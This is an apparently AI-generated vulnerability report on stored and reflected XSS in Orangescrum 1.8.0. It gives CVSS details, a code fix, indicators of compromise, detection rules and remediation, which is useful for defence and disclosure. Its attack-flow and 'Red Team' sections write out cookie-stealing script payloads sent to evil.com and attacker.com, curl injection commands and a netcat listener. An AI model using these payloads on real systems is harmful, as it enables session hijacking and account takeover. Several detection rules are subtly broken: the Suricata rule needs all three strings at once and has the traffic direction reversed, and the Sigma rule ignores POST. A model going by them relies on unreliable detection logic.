CVE-2021-47716
Executive Summary
CVE-2021-47716 identifies multiple stored and reflected cross-site scripting (XSS) vulnerabilities in Orangescrum version 1.8.0. An authenticated attacker can inject arbitrary JavaScript through parameters such as projid, CS_message, and name across various application endpoints. Successful exploitation allows session hijacking, credential theft, or defacement within the victim's browser context. The vendor has not released a patch, leaving all deployments of version 1.8.0 vulnerable. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Orangescrum is a self-hosted PHP application. No official package manager (NPM, PyPI, Go, Ruby) is involved. The vulnerability is in the application's own code, not in a third-party library.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must click a crafted link or view a page)
- Scope: Changed (impact on resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can escalate to full account takeover if session tokens are stolen.
Deep Dive & Mechanics
The vulnerability stems from insufficient sanitization of user-supplied input in multiple parameters. The application fails to encode or escape HTML/JavaScript before rendering it in the browser.
- Parameter
projid: Injected via project-related endpoints. An attacker can craft a URL likehttps://target/orangescrum/project/view?projid=<script>alert(1)</script>. - Parameter
CS_message: Used in chat or messaging features. Stored XSS occurs when a malicious message is saved and later viewed by other users. - Parameter
name: Typically used in user profile or project name fields. Stored XSS persists until the data is rendered.
The attack flow:
- Attacker logs in with low-privileged credentials.
- Attacker submits a crafted payload (e.g.,
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>) via a vulnerable parameter. - Victim (another authenticated user) views the affected page.
- The payload executes in the victim's browser, sending their session cookie to the attacker.
Vulnerable vs. Patched Code
Vulnerable Code (Orangescrum 1.8.0):
// In a controller or view file
echo "<input type='hidden' name='projid' value='" . $_GET['projid'] . "'>";
Patched Code (hypothetical fix):
// Use htmlspecialchars to escape output
echo "<input type='hidden' name='projid' value='" . htmlspecialchars($_GET['projid'], ENT_QUOTES, 'UTF-8') . "'>";
The vulnerable code directly echoes user input without sanitization. The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Orangescrum 1.8.0 instance
- Valid low-privilege user credentials
- A listener to capture exfiltrated data (e.g.,
nc -lvnp 8080)
Step 1: Identify vulnerable endpoint
# Example: project view endpoint
curl -X GET "http://target/orangescrum/project/view?projid=<script>alert(1)</script>"
Step 2: Craft stored XSS payload
// Payload for CS_message parameter
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Step 3: Submit via POST request
curl -X POST "http://target/orangescrum/chat/send" \
-d "CS_message=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
Step 4: Victim views the message – cookie is exfiltrated.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual characters in
projid,CS_message, andnameparameters. - Look for
<script>tags or event handlers (e.g.,onload,onerror) in logs. - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding (see Remediation).
- Restrict user permissions to limit attack surface.
- Deploy Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar. - Suspicious parameters in GET/POST requests:
projid=<script>,CS_message=<script>,name=<script>.
- Outbound HTTP requests to attacker-controlled domains containing
- Host IOCs:
- Log entries showing unescaped HTML/JavaScript in application logs.
- Unexpected JavaScript files or inline scripts in the application's web root.
- File IOCs:
- Modified PHP files containing
echo $_GET['projid']without sanitization.
- Modified PHP files containing
Detection Engineering
YARA Rule
rule CVE_2021_47716_XSS_Orangescrum {
meta:
description = "Detects XSS payloads targeting Orangescrum 1.8.0"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2021-47716"
strings:
$xss1 = /projid\s*=\s*[^&]*<script/i
$xss2 = /CS_message\s*=\s*[^&]*<script/i
$xss3 = /name\s*=\s*[^&]*<script/i
$xss4 = /onerror\s*=|onload\s*=|onclick\s*=/i
condition:
any of ($xss1, $xss2, $xss3) or $xss4
}
Sigma Rule
title: CVE-2021-47716 Orangescrum XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Orangescrum 1.8.0
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'projid=<script'
- 'CS_message=<script'
- 'name=<script'
condition: selection
falsepositives:
- Legitimate use of script tags in non-production environments
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2021-47716 Orangescrum XSS Attempt";
flow:to_server,established;
content:"projid=<script"; http_uri;
content:"CS_message=<script"; http_uri;
content:"name=<script"; http_uri;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: No official patch exists. Consider migrating to a supported project management tool.
- WAF Rules: Deploy web application firewall rules to block XSS patterns (e.g.,
<script,onerror,javascript:). - Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in all user inputs.
- Output Encoding: Use
htmlspecialchars()or equivalent for all dynamic content rendered in HTML context. - CSP Header: Add
Content-Security-Policy: script-src 'self'to prevent inline script execution.
Long-Term Fix:
- Fork the repository and apply the patch manually (see Vulnerable vs. Patched Code section).
- Conduct a full security audit of the application.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.